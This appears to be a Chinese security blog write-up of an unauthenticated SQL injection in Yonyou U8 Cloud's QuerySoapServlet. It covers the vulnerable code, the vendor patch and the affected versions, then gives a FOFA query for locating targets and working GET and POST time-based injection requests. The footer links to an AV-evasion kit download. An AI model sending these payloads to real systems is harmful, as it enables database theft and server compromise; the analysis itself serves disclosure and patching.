用友U8 Cloud QuerySoapServlet SQL注入漏洞


漏洞简介

用友U8 Cloud是用友推出的云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。是基于全新的企业互联网理念设计的云ERP系统,它旨在为企业提供集人财物客产供销于一体的云ERP整体解决方案,推动企业敏经营、轻管理、简IT,助力企业实现高速发展与云化创新。用友U8 Cloud QuerySoapServlet 接口处存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,5.0,5.0sp

漏洞分析

public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
        response.setContentType("text/xml;charset=gb2312");
        String queryId = null;
        String dsn = request.getParameter("dsn");
        String soapAction;
        if (!((HttpServletRequest)request).getMethod().equalsIgnoreCase("POST")) {
            queryId = request.getParameter("queryid");
            soapAction = "http://" + request.getServerName();
            if (request.getServerPort() != 80) {
                soapAction = soapAction + ":" + request.getServerPort();
            }

            soapAction = soapAction + "/servlet/nc.bs.pub.querymodel.soap.QuerySoapServlet?dsn=";
            soapAction = soapAction + dsn;
            sendWsdl(response, queryId, dsn, soapAction);
        } else {
            soapAction = ((HttpServletRequest)request).getHeader("SOAPAction");
            if (soapAction == null) {
                throw new ServletException(NCLangResOnserver.getInstance().getStrByID("10241201", "UPP10241201-001013"));
            } else {
                if (soapAction.startsWith("\"") || soapAction.startsWith("'")) {
                    soapAction = soapAction.substring(1, soapAction.length() - 1);
                }

                queryId = soapAction.substring("execQuery".length(), soapAction.length());
                sendSoapPart1(response);

                try {
                    InputStream is = request.getInputStream();
                    Document doc = XMLUtil.getDocumentBuilder().parse(is);
                    StringBuffer sb = new StringBuffer();
                    XMLUtil.writeXMLFormatString(sb, doc, 4);
                    Logger.debug(sb.toString());
                    NodeList nl = doc.getDocumentElement().getChildNodes();
                    Element body = null;

                    for(int i = 0; i < nl.getLength(); ++i) {
                        if (nl.item(i).getNodeType() == 1 && nl.item(i).getNodeType() == 1 && nl.item(i).getNodeName().endsWith("Body")) {
                            body = (Element)nl.item(i);
                            break;
                        }
                    }

                    if (body == null) {
                        throw new Exception(NCLangResOnserver.getInstance().getStrByID("10241201", "UPP10241201-001014"));
                    }

                    Element queryElement = null;
                    nl = body.getChildNodes();

                    for(int i = 0; i < nl.getLength(); ++i) {
                        if (nl.item(i).getNodeType() == 1) {
                            queryElement = (Element)nl.item(i);
                            break;
                        }
                    }

                    Hashtable h = new Hashtable();
                    if (queryElement != null) {
                        nl = queryElement.getChildNodes();

                        for(int i = 0; i < nl.getLength(); ++i) {
                            if (nl.item(i).getNodeType() == 1) {
                                String paraname = nl.item(i).getNodeName();
                                Node valueNode = nl.item(i).getFirstChild();
                                if (valueNode != null && valueNode.getNodeType() == 3) {
                                    ParamVO vo = new ParamVO();
                                    vo.setValue(valueNode.getNodeValue());
                                    h.put(paraname, vo);
                                }
                            }
                        }
                    }

                    DataSet set = ModelUtil.getQueryResult(queryId, h, dsn);
                    if (set == null) {
                        throw new Exception(NCLangResOnserver.getInstance().getStrByID("10241201", "UPP10241201-001015"));
                    }

                    sendDataSet(response, set, queryId);
                    Logger.debug(set.getRowCount());
                } catch (Exception var17) {
                    Logger.error(var17);
                    sendFault(response, var17);
                }

                sendSoapPart2(response);
            }
        }

如果不是 PSOT 请求,即 GET请求,会进入第一个处理逻辑,其中 queryid 会带入 sendWsdl 函数,否则进入 POST 请求处理逻辑,queryid 值来自请求头的 SOAPAction 的 execQuery 字符后到整个 soapAction 值的末尾部,然后带入 getQueryResult 函数进行执行。
因此这里我们需要注意,有两种注入方式,网上基本都是使用的第一种GET方式。

再结合补丁对比 其中模块为 uapqe

补丁内容如下

package nc.bs.pub.querymodel;

import java.sql.ResultSet;
import java.sql.SQLException;

import nc.bs.logging.Logger;
import nc.jdbc.framework.JdbcSession;
import nc.jdbc.framework.PersistenceManager;
import nc.jdbc.framework.SQLParameter;
import nc.jdbc.framework.exception.DbException;
import nc.jdbc.framework.processor.ResultSetProcessor;
import nc.vo.com.utils.DBObjectReader;
import nc.vo.pub.core.BizObject;
import nc.vo.pub.querymodel.FormatModelNode;
import nc.vo.pub.querymodel.QueryModelNode;
/**
 * 访问业务模型的DAO
 * 这里的业务模型暂时包括
 * 1.查询模型QueryModelDef
 * 2.格式设计模型FormatModelDef
 * 此类模型的特点是某字段是一个大对象(Blob)字段,其中序列化了模型对象
 * @author jl
 *
 */
        /**
         * 根据ID查询业务对象
         * @param id
         * @param kind
         * @param dsName
         * @return
         * @throws DbException
         */
        public BizObject getModelDefByID(String id, String kind, String dsName)
                        throws DbException {
                PersistenceManager sessionManager = null;
                String table = null;
                if (QueryModelNode.MODEL_KIND.equals(kind)) {
                        table = "pub_querymodeldef";
                } else if (FormatModelNode.FORMAT_KIND.equals(kind)) {
                        table = "pub_formatmodeldef";
                }
                // 构造SQL语句
//                String sql = "SELECT PROP from " + table + " WHERE ID = '" + id + "'";
                //防sql注入
                String sql = "SELECT PROP from " + table + " WHERE ID = ? ";
                SQLParameter sqlparam = new SQLParameter();
                sqlparam.addParam(id);
                BizObject bizObj = null;
                try {
                        if (dsName != null) {
                                sessionManager = PersistenceManager.getInstance(dsName);
                        } else {
                                sessionManager = PersistenceManager.getInstance();
                        }
                        JdbcSession session = sessionManager.getJdbcSession();
                        Object obj = session.executeQuery(sql, sqlparam,new ResultSetProcessor() {
                                public Object handleResultSet(ResultSet rs) throws SQLException {
                                        BizObject obj = null;
                                        if (rs.next()) {
                                                obj = (BizObject) DBObjectReader.readObject(rs, "prop");
                                        }
                                        return obj;
                                }
                        });
                        bizObj = (BizObject) obj;
                } finally {
                        if (sessionManager != null)
                                sessionManager.release();
                }
                return bizObj;
        }
}

官方已经给我们注释好了!直接拼接导致的SQL注入漏洞。

漏洞复现

FOFA

app="用友-U8-Cloud"

GET

GET /service/~uapqe/nc.bs.pub.querymodel.soap.QuerySoapServlet?dsn=1&queryid=1%27%3b%57%41%49%54%46%4f%52%10%44%45%4c%41%59%10%27%30%3a%30%3a%35%27-- HTTP/1.1
Host: mrxn.net

成功 延时 5 秒

下面来复现 POST SOAP(其实没啥关系)方式

POST

POST /servlet/~uapqe/nc.bs.pub.querymodel.soap.QuerySoapServlet?dsn=1 HTTP/1.1
Host: mrxn.net
Content-Type: application/xml
SOAPAction: execQuery1'WAITFOR DELAY'0:0:5'--

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:s0="http://www.ufsoft.com/Nc">
  <soapenv:Header/>
  <soapenv:Body>
  </soapenv:Body>
</soapenv:Envelope>

也是成功延时 5 秒

参考

  • https://security.yonyou.com/#/noticeInfo?id=499
  • https://security.yonyou.com/#/patchInfo?identifier=63184e0cf1cb486f9bd223c4d70438bc

手机扫码阅读

万户OA getNextAutoCode.jsp SQL注入漏洞

Arsenal-kit免杀套件下载arsenal-kit20240716.tgz

评 论